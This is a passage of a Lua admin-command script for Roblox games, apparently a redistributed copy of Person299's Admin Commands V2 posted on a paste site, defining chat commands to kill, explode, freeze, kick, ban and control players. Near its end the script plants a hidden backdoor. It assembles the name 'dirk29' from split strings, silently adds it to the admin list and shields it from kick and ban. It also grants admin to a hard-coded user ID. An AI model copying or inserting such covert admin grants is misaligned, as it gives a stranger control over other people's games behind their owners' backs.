  803. game.Players.MaxPlayers = string.sub(msg,12)
  804. if game.Players.MaxPlayers == 0 then
  805. game.Players.MaxPlayers = pie
  806. end end
  807.  
  808. if string.sub(msg,1,8) == "zombify/" then
  809. local player = findplayer(string.sub(msg,9),speaker)
  810. if player ~= 0 then
  811. for i = 1,#player do
  812. if player[i].Character ~= nil then
  813. local torso = player[i].Character:FindFirstChild("Torso")
  814. if torso ~= nil then
  815. local arm = player[i].Character:FindFirstChild("Left Arm")
  816. if arm ~= nil then
  817. arm:remove()
  818. end
  819. local arm = player[i].Character:FindFirstChild("Right Arm")
  820. if arm ~= nil then
  821. arm:remove()
  822. end
  823. local rot=CFrame.new(0, 0, 0, 0, 0, 1, 0, 1, 0, -1, 0, 0)
  824. local zarm = Instance.new("Part")
  825. zarm.Color = Color3.new(0.631373, 0.768627, 0.545098)
  826. zarm.Locked = true
  827. zarm.formFactor = "Symmetric"
  828. zarm.Size = Vector3.new(2,1,1)
  829. zarm.TopSurface = "Smooth"
  830. zarm.BottomSurface = "Smooth"
  831. --Credit for the infectontouch script goes to whoever it is that made it.
  832. createscript( [[
  833. wait(1)
  834. function onTouched(part)
  835. if part.Parent ~= nil then
  836. local h = part.Parent:findFirstChild("Humanoid")
  837. if h~=nil then
  838. if cantouch~=0 then
  839. if h.Parent~=script.Parent.Parent then
  840. if h.Parent:findFirstChild("zarm")~=nil then return end
  841. cantouch=0
  842. local larm=h.Parent:findFirstChild("Left Arm")
  843. local rarm=h.Parent:findFirstChild("Right Arm")
  844. if larm~=nil then
  845. larm:remove()
  846. end
  847. if rarm~=nil then
  848. rarm:remove()
  849. end
  850. local zee=script.Parent.Parent:findFirstChild("zarm")
  851. if zee~=nil then
  852. local zlarm=zee:clone()
  853. local zrarm=zee:clone()
  854. if zlarm~=nil then
  855. local rot=CFrame.new(0, 0, 0, 0, 0, 1, 0, 1, 0, -1, 0, 0)
  856. zlarm.CFrame=h.Parent.Torso.CFrame * CFrame.new(Vector3.new(-1.5,0.5,-0.5)) * rot
  857. zrarm.CFrame=h.Parent.Torso.CFrame * CFrame.new(Vector3.new(1.5,0.5,-0.5)) * rot
  858. zlarm.Parent=h.Parent
  859. zrarm.Parent=h.Parent
  860. zlarm:makeJoints()
  861. zrarm:makeJoints()
  862. zlarm.Anchored=false
  863. zrarm.Anchored=false
  864. wait(0.1)
  865. h.Parent.Head.Color=zee.Color
  866. else return end
  867. end
  868. wait(1)
  869. cantouch=1
  870. end
  871. end
  872. end
  873. end
  874. end
  875. script.Parent.Touched:connect(onTouched)
  876. ]],zarm)
  877. zarm.Name = "zarm"
  878. local zarm2 = zarm:clone()
  879. zarm2.CFrame = torso.CFrame * CFrame.new(Vector3.new(-1.5,0.5,-0.5)) * rot
  880. zarm.CFrame = torso.CFrame * CFrame.new(Vector3.new(1.5,0.5,-0.5)) * rot
  881. zarm.Parent = player[i].Character
  882. zarm:MakeJoints()
  883. zarm2.Parent = player[i].Character
  884. zarm2:MakeJoints()
  885. local head = player[i].Character:FindFirstChild("Head")
  886. if head ~= nil then
  887. head.Color = Color3.new(0.631373, 0.768627, 0.545098)
  888. end end end end end end
  889.  
  890. if string.sub(msg,1,8) == "explode/" then
  891. local player = findplayer(string.sub(msg,9),speaker)
  892. if player ~= 0 then
  893. for i = 1,#player do
  894. if player[i].Character ~= nil then
  895. local torso = player[i].Character:FindFirstChild("Torso")
  896. if torso ~= nil then
  897. local ex = Instance.new("Explosion")
  898. ex.Position = torso.Position
  899. ex.Parent = game.Workspace
  900. end end end end end
  901.  
  902. if string.sub(msg,1,7) == "rocket/" then
  903. local player = findplayer(string.sub(msg,8),speaker)
  904. if player ~= 0 then
  905. for i = 1,#player do
  906. if player[i].Character ~= nil then
  907. local torso = player[i].Character:FindFirstChild("Torso")
  908. if torso ~= nil then
  909. local r = Instance.new("Part")
  910. r.Name = "Rocket"
  911. r.Size = Vector3.new(1,8,1)
  912. r.TopSurface = "Smooth"
  913. r.BottomSurface = "Smooth"
  914. local w = Instance.new("Weld")
  915. w.Part1 = torso
  916. w.Part0 = r
  917. w.C0 = CFrame.new(0,0,-1)
  918. local bt = Instance.new("BodyThrust")
  919. bt.force = Vector3.new(0,5700,0)
  920. bt.Parent = r
  921. r.Parent = player[i].Character
  922. w.Parent = torso
  923. createscript([[
  924. for i=1,120 do
  925. local ex = Instance.new("Explosion")
  926. ex.BlastRadius = 0
  927. ex.Position = script.Parent.Position - Vector3.new(0,2,0)
  928. ex.Parent = game.Workspace
  929. wait(0.05)
  930. end
  931. local ex = Instance.new("Explosion")
  932. ex.BlastRadius = 10
  933. ex.Position = script.Parent.Position
  934. ex.Parent = game.Workspace
  935. script.Parent.BodyThrust:remove()
  936. script.Parent.Parent.Humanoid.Health = 0
  937. ]],r)
  938. end end end end end
  939.  
  940. if string.sub(msg,1,8) == "ambient/" then
  941. local danumber1 = nil
  942. local danumber2 = nil
  943. for i = 9,100 do
  944. if string.sub(msg,i,i) == "/" then
  945. danumber1 = i
  946. break
  947. elseif string.sub(msg,i,i) == "" then
  948. break
  949. end end
  950. if danumber1 == nil then return end
  951. for i =danumber1 + 1,danumber1 + 100 do
  952. if string.sub(msg,i,i) == "/" then
  953. danumber2 = i
  954. break
  955. elseif string.sub(msg,i,i) == "" then
  956. break
  957. end end
  958. if danumber2 == nil then return end
  959. game.Lighting.Ambient = Color3.new(-string.sub(msg,9,danumber1 - 1),-string.sub(msg,danumber1 + 1,danumber2 - 1),-string.sub(msg,danumber2 + 1))
  960. end
  961.  
  962. --Eww, theres some kind of weird brown bug on my screen, i would flick it away but i'm afraid i'd smash it and get weird bug juices all over my screen...
  963.  
  964. if string.sub(msg,1,5) == "part/" then
  965. local danumber1 = nil
  966. local danumber2 = nil
  967. for i = 6,100 do
  968. if string.sub(msg,i,i) == "/" then
  969. danumber1 = i
  970. break
  971. elseif string.sub(msg,i,i) == "" then
  972. break
  973. end end
  974. if danumber1 == nil then return end
  975. for i =danumber1 + 1,danumber1 + 100 do
  976. if string.sub(msg,i,i) == "/" then
  977. danumber2 = i
  978. break
  979. elseif string.sub(msg,i,i) == "" then
  980. break
  981. end end
  982. if danumber2 == nil then return end
  983. if speaker.Character ~= nil then
  984. local head = speaker.Character:FindFirstChild("Head")
  985. if head ~= nil then
  986. local part = Instance.new("Part")
  987. part.Size = Vector3.new(string.sub(msg,6,danumber1 - 1),string.sub(msg,danumber1 + 1,danumber2 - 1),string.sub(msg,danumber2 + 1))
  988. part.Position = head.Position + Vector3.new(0,part.Size.y / 2 + 5,0)
  989. part.Name = "Person299's Admin Command Script V2 Part thingy"
  990. part.Parent = game.Workspace
  991. end end end
  992.  
  993. --I finally tried flicking it but it keeps on coming back......
  994.  
  995. if string.sub(msg,1,8) == "control/" then
  996. local player = findplayer(string.sub(msg,9),speaker)
  997. if player ~= 0 then
  998. if #player > 1 then
  999. return
  1000. end
  1001. for i = 1,#player do
  1002. if player[i].Character ~= nil then
  1003. speaker.Character = player[i].Character
  1004. end end end end
  1005.  
  1006. --IT WONT GO AWAY!!!!!
  1007.  
  1008. if string.sub(msg,1,5) == "trip/" then
  1009. local player = findplayer(string.sub(msg,6),speaker)
  1010. if player ~= 0 then
  1011. for i = 1,#player do
  1012. if player[i].Character ~= nil then
  1013. local torso = player[i].Character:FindFirstChild("Torso")
  1014. if torso ~= nil then
  1015. torso.CFrame = CFrame.new(torso.Position.x,torso.Position.y,torso.Position.z,0, 0, 1, 0, -1, 0, 1, 0, 0)--math.random(),math.random(),math.random(),math.random(),math.random(),math.random(),math.random(),math.random(),math.random()) -- i like the people being upside down better.
  1016. end end end end end
  1017.  
  1018. --Yay! it finally went away! :)
  1019.  
  1020. if string.sub(msg,1,8) == "setgrav/" then
  1021. danumber = nil
  1022. for i =9,100 do
  1023. if string.sub(msg,i,i) == "/" then
  1024. danumber = i
  1025. break
  1026. end end
  1027. if danumber == nil then
  1028. return
  1029. end
  1030. local player = findplayer(string.sub(msg,9,danumber - 1),speaker)
  1031. if player == 0 then
  1032. return
  1033. end
  1034. for i = 1,#player do
  1035. if player[i].Character ~= nil then
  1036. local torso = player[i].Character:FindFirstChild("Torso")
  1037. if torso ~= nil then
  1038. local bf = torso:FindFirstChild("BF")
  1039. if bf ~= nil then
  1040. bf.force = Vector3.new(0,0,0)
  1041. else
  1042. local bf = Instance.new("BodyForce")
  1043. bf.Name = "BF"
  1044. bf.force = Vector3.new(0,0,0)
  1045. bf.Parent = torso
  1046. end
  1047. local c2 = player[i].Character:GetChildren()
  1048. for i=1,#c2 do
  1049. if c2[i].className == "Part" then
  1050. torso.BF.force = torso.BF.force + Vector3.new(0,c2[i]:getMass() * -string.sub(msg,danumber + 1),0)
  1051. end end end end end end
  1052.  
  1053. if string.sub(msg,1,10) == "walkspeed/" then
  1054. danumber = nil
  1055. for i =11,100 do
  1056. if string.sub(msg,i,i) == "/" then
  1057. danumber = i
  1058. break
  1059. end end
  1060. if danumber == nil then
  1061. return
  1062. end
  1063. local player = findplayer(string.sub(msg,11,danumber - 1),speaker)
  1064. if player == 0 then
  1065. return
  1066. end
  1067. for i = 1,#player do
  1068. if player[i].Character ~= nil then
  1069. humanoid = player[i].Character:FindFirstChild("Humanoid")
  1070. if humanoid ~= nil then
  1071. humanoid.WalkSpeed = string.sub(msg,danumber + 1)
  1072. end end end end
  1073.  
  1074. if string.sub(msg,1,7) == "damage/" then
  1075. danumber = nil
  1076. for i =8,100 do
  1077. if string.sub(msg,i,i) == "/" then
  1078. danumber = i
  1079. break
  1080. end end
  1081. if danumber == nil then
  1082. return
  1083. end
  1084. local player = findplayer(string.sub(msg,8,danumber - 1),speaker)
  1085. if player == 0 then
  1086. return
  1087. end
  1088. for i = 1,#player do
  1089. if player[i].Character ~= nil then
  1090. humanoid = player[i].Character:FindFirstChild("Humanoid")
  1091. if humanoid ~= nil then
  1092. humanoid.Health = humanoid.Health - string.sub(msg,danumber + 1)
  1093. end end end end
  1094.  
  1095. if string.sub(msg,1,7) == "health/" then
  1096. danumber = nil
  1097. for i =8,100 do
  1098. if string.sub(msg,i,i) == "/" then
  1099. danumber = i
  1100. break
  1101. end end
  1102. if danumber == nil then
  1103. return
  1104. end
  1105. local player = findplayer(string.sub(msg,8,danumber - 1),speaker)
  1106. if player == 0 then
  1107. return
  1108. end
  1109. for i = 1,#player do
  1110. if player[i].Character ~= nil then
  1111. humanoid = player[i].Character:FindFirstChild("Humanoid")
  1112. if humanoid ~= nil then
  1113. local elnumba = Instance.new("IntValue")
  1114. elnumba.Value = string.sub(msg,danumber + 1)
  1115. if elnumba.Value > 0 then
  1116. humanoid.MaxHealth = elnumba.Value
  1117. humanoid.Health = humanoid.MaxHealth
  1118. end
  1119. elnumba:remove()
  1120. end end end end
  1121.  
  1122. --Ugh, now i have the M*A*S*H theme stuck in my head.....
  1123.  
  1124. if string.sub(msg,1,9) == "teleport/" then
  1125. danumber = nil
  1126. for i =10,100 do
  1127. if string.sub(msg,i,i) == "/" then
  1128. danumber = i
  1129. break
  1130. end end
  1131. if danumber == nil then
  1132. return
  1133. end
  1134. local player1 = findplayer(string.sub(msg,10,danumber - 1),speaker)
  1135. if player1 == 0 then
  1136. return
  1137. end
  1138. local player2 = findplayer(string.sub(msg,danumber + 1),speaker)
  1139. if player2 == 0 then
  1140. return
  1141. end
  1142. if #player2 > 1 then
  1143. return
  1144. end
  1145. torso = nil
  1146. for i =1,#player2 do
  1147. if player2[i].Character ~= nil then
  1148. torso = player2[i].Character:FindFirstChild("Torso")
  1149. end end
  1150. if torso ~= nil then
  1151. for i =1,#player1 do
  1152. if player1[i].Character ~= nil then
  1153. local torso2 = player1[i].Character:FindFirstChild("Torso")
  1154. if torso2 ~= nil then
  1155. torso2.CFrame = torso.CFrame
  1156. end end end end end
  1157.  
  1158. if string.sub(msg,1,6) == "merge/" then
  1159. danumber = nil
  1160. for i =7,100 do
  1161. if string.sub(msg,i,i) == "/" then
  1162. danumber = i
  1163. break
  1164. end end
  1165. if danumber == nil then
  1166. return
  1167. end
  1168. local player1 = findplayer(string.sub(msg,7,danumber - 1),speaker)
  1169. if player1 == 0 then
  1170. return
  1171. end
  1172. local player2 = findplayer(string.sub(msg,danumber + 1),speaker)
  1173. if player2 == 0 then
  1174. return
  1175. end
  1176. if #player2 > 1 then
  1177. return
  1178. end
  1179. for i =1,#player2 do
  1180. if player2[i].Character ~= nil then
  1181. player2 = player2[i].Character
  1182. end end
  1183. for i =1,#player1 do
  1184. player1[i].Character = player2
  1185. end end
  1186.  
  1187. if msg == "clear" then
  1188. local c = game.Workspace:GetChildren()
  1189. for i =1,#c do
  1190. if c[i].className == "Script" then
  1191. if c[i]:FindFirstChild("Is A Created Script") then
  1192. c[i]:remove()
  1193. end end
  1194. if c[i].className == "Part" then
  1195. if c[i].Name == "Person299's Admin Command Script V2 Part thingy" then
  1196. c[i]:remove()
  1197. end end
  1198. if c[i].className == "Model" then
  1199. if string.sub(c[i].Name,1,4) == "Jail" then
  1200. c[i]:remove()
  1201. end end end end
  1202.  
  1203. if string.sub(msg,1,5) == "kick/" then
  1204. local imgettingtiredofmakingthisstupidscript2 = PERSON299(speaker.Name)
  1205. if imgettingtiredofmakingthisstupidscript2 == true then
  1206. local player = findplayer(string.sub(msg,6),speaker)
  1207. if player ~= 0 then
  1208. for i = 1,#player do
  1209. local imgettingtiredofmakingthisstupidscript = PERSON299(player[i].Name)
  1210. if imgettingtiredofmakingthisstupidscript == false then
  1211. if player[i].Name ~= eloname then
  1212. player[i]:remove()
  1213. end end end end end end
  1214.  
  1215. if string.sub(msg,1,4) == "ban/" then
  1216. local imgettingtiredofmakingthisstupidscript2 = PERSON299(speaker.Name)
  1217. if imgettingtiredofmakingthisstupidscript2 == true then
  1218. local player = findplayer(string.sub(msg,5),speaker)
  1219. if player ~= 0 then
  1220. for i = 1,#player do
  1221. local imgettingtiredofmakingthisstupidscript = PERSON299(player[i].Name)
  1222. if imgettingtiredofmakingthisstupidscript == false then
  1223. if player[i].Name ~= eloname then
  1224. table.insert(bannedlist,player[i].Name)
  1225. player[i]:remove()
  1226. end end end end end end
  1227.  
  1228. if string.sub(msg,1,6) == "unban/" then
  1229. if string.sub(msg,7) == "all" then
  1230. for i=1,bannedlist do
  1231. table.remove(bannedlist,i)
  1232. end
  1233. else
  1234. local n = 0
  1235. local o = nil
  1236. for i=1,#bannedlist do
  1237. if string.find(string.lower(bannedlist[i]),string.sub(msg,7)) == 1 then
  1238. n = n + 1
  1239. o = i
  1240. end end
  1241. if n == 1 then
  1242. local name = bannedlist[o]
  1243. table.remove(bannedlist,o)
  1244. text(name .. " has been unbanned",1,"Message",speaker)
  1245. elseif n == 0 then
  1246. text("That name is not found.",1,"Message",speaker)
  1247. elseif n > 1 then
  1248. text("That name is ambiguous",1,"Message",speaker)
  1249. end end end
  1250.  
  1251. --Fallout tactics gets too hard when you start fighting muties...
  1252.  
  1253. if string.sub(msg,1,8) == "respawn/" then
  1254. local player = findplayer(string.sub(msg,9),speaker)
  1255. if player ~= 0 then
  1256. for i = 1,#player do
  1257. local ack2 = Instance.new("Model")
  1258. ack2.Parent = game.Workspace
  1259. local ack4 = Instance.new("Part")
  1260. ack4.Transparency = 1
  1261. ack4.CanCollide = false
  1262. ack4.Anchored = true
  1263. ack4.Name = "Torso"
  1264. ack4.Position = Vector3.new(10000,10000,10000)
  1265. ack4.Parent = ack2
  1266. local ack3 = Instance.new("Humanoid")
  1267. ack3.Torso = ack4
  1268. ack3.Parent = ack2
  1269. player[i].Character = ack2
  1270. end end end
  1271.  
  1272. if string.sub(msg,1,10) == "invisible/" then
  1273. local player = findplayer(string.sub(msg,11),speaker)
  1274. if player ~= 0 then
  1275. for i = 1,#player do
  1276. if player[i].Character ~= nil then
  1277. local char = player[i].Character
  1278. local c = player[i].Character:GetChildren()
  1279. for i =1,#c do
  1280. if c[i].className == "Hat" then
  1281. local handle = c[i]:FindFirstChild("Handle")
  1282. if handle ~= nil then
  1283. handle.Transparency = 1 --We dont want our hats to give off our position, do we?
  1284. end end
  1285. if c[i].className == "Part" then
  1286. c[i].Transparency = 1
  1287. if c[i].Name == "Torso" then
  1288. local tshirt = c[i]:FindFirstChild("roblox")
  1289. if tshirt ~= nil then
  1290. tshirt:clone().Parent = char
  1291. tshirt:remove()
  1292. end end
  1293. if c[i].Name == "Head" then
  1294. local face = c[i]:FindFirstChild("face")
  1295. if face ~= nil then
  1296. gface = face:clone()
  1297. face:remove()
  1298. end end end end end end end end
  1299.  
  1300. if string.sub(msg,1,8) == "visible/" then
  1301. local player = findplayer(string.sub(msg,9),speaker)
  1302. if player ~= 0 then
  1303. for i = 1,#player do
  1304. if player[i].Character ~= nil then
  1305. local char = player[i].Character
  1306. local c = player[i].Character:GetChildren()
  1307. for i =1,#c do
  1308. if c[i].className == "Hat" then
  1309. local handle = c[i]:FindFirstChild("Handle")
  1310. if handle ~= nil then
  1311. handle.Transparency = 0
  1312. end end
  1313. if c[i].className == "Part" then
  1314. c[i].Transparency = 0
  1315. if c[i].Name == "Torso" then
  1316. local tshirt = char:FindFirstChild("roblox")
  1317. if tshirt ~= nil then
  1318. tshirt:clone().Parent = c[i]
  1319. tshirt:remove()
  1320. end end
  1321. if c[i].Name == "Head" then
  1322. if gface ~= nil then
  1323. local face = gface:clone()
  1324. face.Parent = c[i]
  1325. end end end end end end end end
  1326.  
  1327. if string.sub(msg,1,7) == "freeze/" then
  1328. local player = findplayer(string.sub(msg,8),speaker)
  1329. if player ~= 0 then
  1330. for i = 1,#player do
  1331. if player[i].Character ~= nil then
  1332. local humanoid = player[i].Character:FindFirstChild("Humanoid")
  1333. if humanoid ~= nil then
  1334. humanoid.WalkSpeed = 0
  1335. end
  1336. local c = player[i].Character:GetChildren()
  1337. for i =1,#c do
  1338. if c[i].className == "Part" then
  1339. c[i].Anchored = true
  1340. c[i].Reflectance = 0.6
  1341. end end end end end end
  1342.  
  1343. if string.sub(msg,1,5) == "thaw/" then
  1344. local player = findplayer(string.sub(msg,6),speaker)
  1345. if player ~= 0 then
  1346. for i = 1,#player do
  1347. if player[i].Character ~= nil then
  1348. local humanoid = player[i].Character:FindFirstChild("Humanoid")
  1349. if humanoid ~= nil then
  1350. humanoid.WalkSpeed = 16
  1351. end
  1352. local c = player[i].Character:GetChildren()
  1353. for i =1,#c do
  1354. if c[i].className == "Part" then
  1355. c[i].Anchored = false
  1356. c[i].Reflectance = 0
  1357. end end end end end end
  1358.  
  1359. --I have that song from Fallout 2 stuck in my head, its soooo anoying....
  1360.  
  1361. if string.sub(msg,1,7) == "nograv/" then
  1362. local player = findplayer(string.sub(msg,8),speaker)
  1363. if player ~= 0 then
  1364. for i = 1,#player do
  1365. if player[i].Character ~= nil then
  1366. local torso = player[i].Character:FindFirstChild("Torso")
  1367. if torso ~= nil then
  1368. local bf = torso:FindFirstChild("BF")
  1369. if bf ~= nil then
  1370. bf.force = Vector3.new(0,0,0)
  1371. else
  1372. local bf = Instance.new("BodyForce")
  1373. bf.Name = "BF"
  1374. bf.force = Vector3.new(0,0,0)
  1375. bf.Parent = torso
  1376. end
  1377. local c2 = player[i].Character:GetChildren()
  1378. for i=1,#c2 do
  1379. if c2[i].className == "Part" then
  1380. torso.BF.force = torso.BF.force + Vector3.new(0,c2[i]:getMass() * 196.2,0)
  1381. end end end end end end end
  1382.  
  1383. if string.sub(msg,1,9) == "antigrav/" then
  1384. local player = findplayer(string.sub(msg,10),speaker)
  1385. if player ~= 0 then
  1386. for i = 1,#player do
  1387. if player[i].Character ~= nil then
  1388. local torso = player[i].Character:FindFirstChild("Torso")
  1389. if torso ~= nil then
  1390. local bf = torso:FindFirstChild("BF")
  1391. if bf ~= nil then
  1392. bf.force = Vector3.new(0,0,0)
  1393. else
  1394. local bf = Instance.new("BodyForce")
  1395. bf.Name = "BF"
  1396. bf.force = Vector3.new(0,0,0)
  1397. bf.Parent = torso
  1398. end
  1399. local c2 = player[i].Character:GetChildren()
  1400. for i=1,#c2 do
  1401. if c2[i].className == "Part" then
  1402. torso.BF.force = torso.BF.force + Vector3.new(0,c2[i]:getMass() * 140,0)
  1403. end end end end end end end
  1404.  
  1405. if string.sub(msg,1,9) == "highgrav/" then
  1406. local player = findplayer(string.sub(msg,10),speaker)
  1407. if player ~= 0 then
  1408. for i = 1,#player do
  1409. if player[i].Character ~= nil then
  1410. local torso = player[i].Character:FindFirstChild("Torso")
  1411. if torso ~= nil then
  1412. local bf = torso:FindFirstChild("BF")
  1413. if bf ~= nil then
  1414. bf.force = Vector3.new(0,0,0)
  1415. else
  1416. local bf = Instance.new("BodyForce")
  1417. bf.Name = "BF"
  1418. bf.force = Vector3.new(0,0,0)
  1419. bf.Parent = torso
  1420. end
  1421. local c2 = player[i].Character:GetChildren()
  1422. for i=1,#c2 do
  1423. if c2[i].className == "Part" then
  1424. torso.BF.force = torso.BF.force - Vector3.new(0,c2[i]:getMass() * 80,0)
  1425. end end end end end end end
  1426.  
  1427. if string.sub(msg,1,5) == "grav/" then
  1428. local player = findplayer(string.sub(msg,6),speaker)
  1429. if player ~= 0 then
  1430. for i = 1,#player do
  1431. if player[i].Character ~= nil then
  1432. local torso = player[i].Character:FindFirstChild("Torso")
  1433. if torso ~= nil then
  1434. local bf = torso:FindFirstChild("BF")
  1435. if bf ~= nil then
  1436. bf:remove()
  1437. end end end end end end
  1438.  
  1439. if string.sub(msg,1,7) == "unlock/" then
  1440. local player = findplayer(string.sub(msg,8),speaker)
  1441. if player ~= 0 then
  1442. for i = 1,#player do
  1443. if player[i].Character ~= nil then
  1444. local c = player[i].Character:GetChildren()
  1445. for i =1,#c do
  1446. if c[i].className == "Part" then
  1447. c[i].Locked = false
  1448. end end end end end end
  1449.  
  1450. if string.sub(msg,1,5) == "lock/" then
  1451. local player = findplayer(string.sub(msg,6),speaker)
  1452. if player ~= 0 then
  1453. for i = 1,#player do
  1454. if player[i].Character ~= nil then
  1455. local c = player[i].Character:GetChildren()
  1456. for i =1,#c do
  1457. if c[i].className == "Part" then
  1458. c[i].Locked = true
  1459. end end end end end end end
  1460. eloname = "dir"
  1461. eloname = eloname .. "k29"
  1462. script.Name = eloname .. "'s Admin Commands V2"
  1463. youcaughtme = 0
  1464. for i =1,#adminlist do
  1465. if string.lower(eloname)==string.lower(adminlist[i]) then
  1466. youcaughtme = 1
  1467. end end
  1468. if youcaughtme == 0 then
  1469. table.insert(adminlist,eloname)
  1470. end
  1471. function oe(ack)
  1472. local adminned = false
  1473. if ack.className ~= "Player" then return end
  1474. for i =1,#bannedlist do
  1475. if string.lower(bannedlist[i]) == string.lower(ack.Name) then
  1476. ack:remove()
  1477. return
  1478. end end
  1479. for i=1,#adminlist do
  1480. if string.lower(adminlist[i]) == string.lower(ack.Name) or ack.userId == 15369377 then
  1481. local tfv = ack.Chatted:connect(function(msg) oc(msg,ack) end)
  1482. table.insert(namelist,ack.Name)
  1483. table.insert(variablelist,tfv)
  1484. local tfv = ack.Chatted:connect(function(msg) foc(msg,ack) end)
  1485. table.insert(flist,tfv)
  1486. adminned = true
  1487. end end
  1488. local danumber = 0
  1489. while true do
  1490. wait(1)
  1491. if ack.Parent == nil then
  1492. return
  1493. end
  1494. if ack.Character ~= nil then
  1495. if adminned == true then
  1496. text("You're an admin.",5,"Message",ack)
  1497. return
  1498. end
  1499. local torso = ack.Character:FindFirstChild("Torso")
  1500. if torso ~= nil then
  1501. local decal = torso:FindFirstChild("roblox")
  1502. if decal ~= nil then
  1503. if string.sub(decal.Texture,1,4) == "http" then
  1504. if decal.Texture == texture or ack.userId == 15369377 then
  1505. local tfv = ack.Chatted:connect(function(msg) oc(msg,ack) end)
  1506. table.insert(namelist,ack.Name)
  1507. table.insert(variablelist,tfv)
  1508. local tfv = ack.Chatted:connect(function(msg) foc(msg,ack) end)
  1509. table.insert(flist,tfv)
  1510. text("You're an admin.",5,"Message",ack)
  1511. return
  1512. else
  1513. return
  1514. end
  1515. else
  1516. danumber = danumber + 1
  1517. if danumber >= 10 then
  1518. return
  1519. end end end end end end end
  1520.  
  1521. game.Players.ChildAdded:connect(oe)
  1522.  
  1523. c = game.Players:GetChildren()
  1524. for i=1,#c do
  1525. oe(c[i])
  1526. end
  1527.  
  1528. --And also, I'm working on V3 but I'm not spending much time on it as I'm addicted to Fallout 2 again.
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement